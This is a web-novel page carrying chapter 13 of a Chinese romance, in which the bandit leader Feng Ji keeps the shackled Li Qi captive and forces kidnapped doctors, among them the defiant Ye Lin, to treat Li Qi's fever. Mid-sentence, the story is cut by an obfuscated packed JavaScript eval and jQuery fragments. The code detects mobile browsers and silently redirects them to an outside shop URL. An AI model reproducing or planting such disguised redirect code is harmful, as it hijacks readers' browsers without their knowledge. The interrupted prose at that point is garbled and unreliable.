默认冷灰
24号文字
方正启体

13. 第 13 章

作者:粼巜本书字数:K更新时间:
    黎玘被关了很久。


    久到他快要忘记自己是一个人。


    而冯既迟迟没有带来那所谓的“好消息”。只是面目一日比一日可憎,举止也愈发癫狂。


    先是杀了刀疤脸和大当家独占青龙寨,后又怒极失手,掐死了为他制药的崔郎中。


    崔郎中一死,他便立即命人下山捉大夫。


    短短数日,就有不少医者被套上麻袋捉上山来,全都关到了一处。


    冯既像魔怔了一样,逼着这些大夫在崔郎中所获的成果上继续研制“失忆药”。


    为了活命,无辜的大夫们只好尽力为之。


    ……


    黎玘并不知道冯既抓了很多大夫关在山寨里。


    直到这天,他染了风寒,咳嗽得厉害,冯既唤人来给他看病。


    当他淡淡抬眸时,见到的竟不是熟悉的崔郎中,而是一个全然陌生的面孔。


    新的大夫看起来比崔郎中年纪大了许多,头发多数都白了,面皮松弛下坠,颌下蓄着长长的胡子,看着很是温和慈祥。


    这样的一位老人家,实不该出现在这种地方。


    黎玘便蹙眉问冯既:“崔郎中呢?”


    冯既站在他面前,从容答道:“他学医不精,被我赶下山去了。”


    黎玘目视着老人,又再追问他:“那这位大夫又是从何处来?”


    冯既别开脸,道:“我请来的。”


    “请?!”


    黎玘冷笑着加重语气。


    冯既投降地捏了捏眉心,说:“等他给你看完病,我就让人把他平安送回家还不行吗?”


    黎玘不信他,只拿自己赌咒道:“你若食言,便让我突发恶疾,无药可医?”


    冯既:“……”


    “你……”


    冯既气得甩袖走出门去。


    老大夫往门外瞧了一眼,连忙朝黎玘作了一揖,感激道:“多谢公子!老朽险些以为再也回不去了……”


    方才他去摸黎玘手腕把脉时,见对方双手均被反铐于身后,就连被窝里也牵出一条铁链,他便猜测这个年轻人应该是被掳到匪窝当人质的。


    同样是被抓来此地,他对黎玘也甚是同情。但没想到的是,对方在匪首面前竟颇有话语权,还能轻易逼得匪首许诺放他回家。那么,这个年轻人的身份或许不是人质那么简单吧?


    老大夫感觉很奇怪,但具体又说不上来。


    黎玘看向他,微笑道:“您不必谢我,想来本就是我连累了您,害您被抓到这个地方来。对不住了。”


    老大夫见对方如此温逊有礼,不禁多问了一句:“公子是哪里人,又是何时被掳至此处的?”


    几个月来第一次被人问及自己的来处,黎玘眼中微有泪光,本想悄悄让老大夫帮他捎句话到苏家,可余光瞥见冯既正立在门外偷听、偷看,他便什么心思也不敢有了。


    只忍泪对老大夫道:“很久了,我记不清了。”


    话音未落,冯既便一步踏进门来,朝老大夫冷冷一瞪:“病看完了就滚出去。”


    老大夫吓得点点头,将药方递到冯既手里后,马上就走了出去。


    冯既先是吩咐手下拿着药方去抓药,接着又派了两个人把那老大夫送下山去。


    见黎玘呆呆坐着出神,冯既把人抱进怀里,说:“放心吧,这次我说话算数得很,不玩阴的,那个老头会安然回到他家里,我保证。”


    黎玘不语。


    冯既又把脸埋进他颈侧蹭了蹭,心疼地说:“看看你都瘦成什么样了,整日为了与我赌气,连饭也不肯好好吃,现在又生了病,不知病好后你身上又得少多少肉……”


    黎玘不想听他说这些虚伪的话,漠然打断道:“不用假惺惺的了,看着恶心。”


    冯既从他颈边抬起头来,凄凄笑了一下:“你要么不理我,要么一开口就刻薄得伤人……往后的日子还长,你确定要一直这样同我相处?何苦呢?”


    又觍着脸痴心妄想道:“施舍我一份宽恕,同时也放过你自己,好不好?”


    黎玘只答了他一个字:


    “滚。”


    ……


    冯既悻悻离去。


    到了晚上,黎玘突然起了高热。


    冯既不明白为什么喝了药病情还会加重,一时急得心焦火燎,接连试了好多法子都不能给黎玘降热。


    关在牢里的大夫也一个接一个地被拎过来,摁到榻边给黎玘治病。


    眼见黎玘浑身持续发热,皮肤上也渐渐冒出疹子,几名大夫吓得往后躲避,互相开始交头接耳。


    冯既见不得别人在自己面前窃窃私语,厉声吼道:“在说些什么?大点声!”


    那几名大夫齐刷刷朝他跪下,每个人都抖如筛糠。


    “大王……”


    有位大夫跪行上前道,“这位公子多半是患了天花……便是皇帝得了这病,宫里的太医也不一定救得活啊……我们,我们都医术平平,更是无能为力……”


    “天花?”冯既惊慌,“我寨子里没听说有人得这病,且平日能够接近他的人少之又少,他怎会受染?!”


    闻言,几名大夫面面相觑,顿时有点解释不通了。


    就在这时,旁边有个年轻的大夫站了出来,对众人道:


    “也可能不是天花,而是水疱。”


    冯既听得眉头一沉:“水疱不是小孩子才会长的吗?”


    “那就要看这位公子小时候有没有长过了。”年轻的大夫说,“水疱这种东西,一个人一辈子只能得一次,有的人甚至一辈子也遇不着。患病者多是幼童和少年,症状一般不会太严重。若是大人长了水疱,情况会糟一些。”


    说着,忽朝床上的黎玘投去视线,“像这位公子,身体本身就已虚得透骨,再遇水疱,只会更遭罪,难免不会引发生命危险。”


    冯既已没有耐心听下去,只把这个年轻大夫抓至床前按跪在地,威逼道:“你,立刻给他治!”


    年轻大夫挣扎起身,活动了一下被按疼的肩膀,兀自强调道:“麻烦放尊重些,鄙人姓叶,单名一个霖。要请我医病,不谈银两也就罢了,好歹轻言细语称一声‘叶大夫’?”


    冯既微愣,道:“你怕是搞不清楚自己的处境?”


    叶霖硬抗道:“你大抵也没搞清楚,你是在求人。”


    “求你?!”


    冯既嗤笑着拧住他的脖子,“再说一遍呢?”


    叶霖被掐得狂翻白眼喘不上气,一旁的大夫们看得直捏冷汗。


    冯既估摸着将人收拾得够服帖了,才倏然松了手,问:“还求吗?”


    “咳咳……咳咳咳……”叶霖扶着榻沿猛咳了一阵,出乎意料地说:“求也是不能了。”


    冯既被激怒,揪着对方衣襟凶狠道:“你找死?”


    叶霖笑道:“我这人酷爱受人尊敬,你越是这般无礼,我越不会如你意。”


    又瞥向黎玘,揣测说:“你喜欢这个男的,对吧?”


    冯既咬牙不答。


    叶霖又道:“不是我吓唬你,今夜他这烧若是降不下来,是真会出人命的。你不妨摸摸他身上,是不是烫得吓人。病得轻可不会这样。那些得了急症快死的人才这样。”


    冯既一听,慌忙去察看黎玘的状态,先是用手背贴了贴黎玘的额头,随即又把手伸进黎玘衣内摸了摸,发现竟比先前还要烫了。


    黎玘这会儿已烧得昏迷不醒,身子还频频发抖,偶尔咽一咽口水,都会痛苦地皱起眉。


    冯既看着看着就红了眼。


    他侧头望向叶霖,低声下气道:“有劳叶大夫施医救治。”


    叶霖却轻笑道:“我刚刚说了,求也是不能了。”


    “那你想怎样?”


    冯既忍抑着怒火,低低地问。


    “这样吧,”叶霖道,“你面对着我跪到边上去,如此既不妨碍我诊治病人,也可愉悦我之心情。”


    “你放肆!”


    冯既还未答话,他身边的心腹手下便已拔刀冲向叶霖。


    “住手!”冯既拦下心腹,思虑着道:“你和其他人都出去。明日一早将那些庸医全部送下山。”


    “可……”


    心腹犹豫了半晌,才应声答是。


    一群人刚转身走向房门,冯既便已屈膝跪在了地上,正面朝向叶霖。


    叶霖见他敛去锋芒跪得笔直,顿觉出了一口恶气。而后便迅速取出一套银针,依次扎向黎玘的大椎、曲池、少商等穴位,以刺穴放血的方式为其退热。


    冯既凝注着黎玘雪白衣衫上浸出的血


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320902|199046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    珠,暗暗心惊,紧张得攥紧了拳。


    又见叶霖扎完针后便从水盆里拧起了帕子,要去解黎玘的衣裳。


    “——你要做什么?”


    冯既急得差点站起来。


    “老实跪着吧你。”叶霖扭头讽刺道,“你当人人都像你,满脑子都是那档子事?”


    冯既哑住。


    叶霖用冷水将黎玘全身擦了一遍。


    整个过程中他虽面不改色,但心里还是吃了一惊。


    不仅仅是因为黎玘的身材。


    还因为……


    “你还没碰过他?!”


    叶霖一个没忍住,朝冯既问了出来。


    冯既低头抿紧了唇,不吭声。


    他自然知道叶霖口中的“碰过”是什么意思。


    难道是他不想碰吗。


    不碰都养不活了,再碰一碰,那还得了?


    冯既思忖片刻,问叶霖道:“你连这个都能看出来?”


    叶霖不太幽默地“呵”了声:“在被你抓到这山上来之前,我是专门给勾阑里的男倌瞧病的,你说呢?”


    冯既道:“也就是说,你很擅长给男人诊病?”


    叶霖不避讳地点头:“嗯,尤擅医兰花。”


    冯既:“……”


    “你留在我寨子里,我每月给你一百两银子,不够可以再谈。你意下如何?”


    “不如何。”


    叶霖一口回绝,“一百两确实挺多的,可惜是沾了血的脏钱,用了得折寿。”


    冯既阴沉道:“你答不答应都是一个结果。即便你不要银子,我也不会放你离开。”


    “那又是另一回事了。”


    叶霖说,“拿了你的钱留下来,和被迫留下来,这二者的区别可大了去。他日若有官兵上山剿匪,我尚能理直气壮为自己辩解一二,不至于被当成匪寇一并剿杀了去。”


    “……”


    剿匪?


    当着他的面盼着官兵来剿匪?!


    冯既怒得额角起筋,撑膝便要站立起来。


    “别动,给我跪好了!”


    叶霖指着他警告道,“这位肤白貌美的公子可还没脱离性命之忧呢,有胆你动我一个试试?”


    望了眼床上躺着的黎玘,冯既不得不将撑起的膝盖搁回地上。


    他仰首瞪向叶霖:


    “如果你医不好他,我会让你死得很惨。”


    叶霖不屑道:“你跪在地上恐吓人的样子十足可笑。”


    冯既:“……”


    只见叶霖背过身去,提笔在桌上快速写下一张降热的药方,砸到冯既脸上:“快去抓药来煎吧,晚了可别赖我!”


    冯既立时起身,捏着药方跑了出去。


    叶霖正准备坐下歇会儿,却见黎玘忽然不安分地转动头颅,一颗脑袋在枕头上不停地乱蹭。


    想必是正在出疹子,身上痒得难受,所以才乱动起来。


    叶霖轻轻一叹,本想调些药水给他擦擦止痒,可手边又没有药材。无奈之下,只能换了盆清水,又再替他擦了一遍身子,稍作缓解。


    怎料,他刚擦完,耳边就响起了一道极其沙哑的嗓音。


    “爹,娘……”


    “阿玥……”


    叶霖拧眉睹向声音的来源。


    黎玘像是烧糊涂了,在梦里哭着喊人,边喊边流泪。


    泪液浸湿了长长的眼睫,流过鼻梁,淌进发丝里、渗到枕头上,双眸却紧紧闭着。


    叶霖如鬼使神差一般,抬手拭去黎玘眼角的一滴泪。


    正当他盯着手上的泪滴发呆时,黎玘又哭颤着说:


    “杀了我,杀了我……”


    叶霖怔了怔。


    他想象不出对方做了怎样一个噩梦,竟然会在梦里哭得这般绝望……连命都不要了。


    叶霖心口酸涩。


    这似乎是他第一次怜悯一个男人。


    从前他时常背着药箱往返各种南风馆。


    给那些男人看病时,他目光总是轻蔑的……甚至是嫌恶。


    他觉得那些男人很下贱。


    他一点也看不起他们。


    他还故意收取他们高昂的诊金,像敲诈般榨取他们的积蓄。


    如今想想,真觉自己有些过分。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)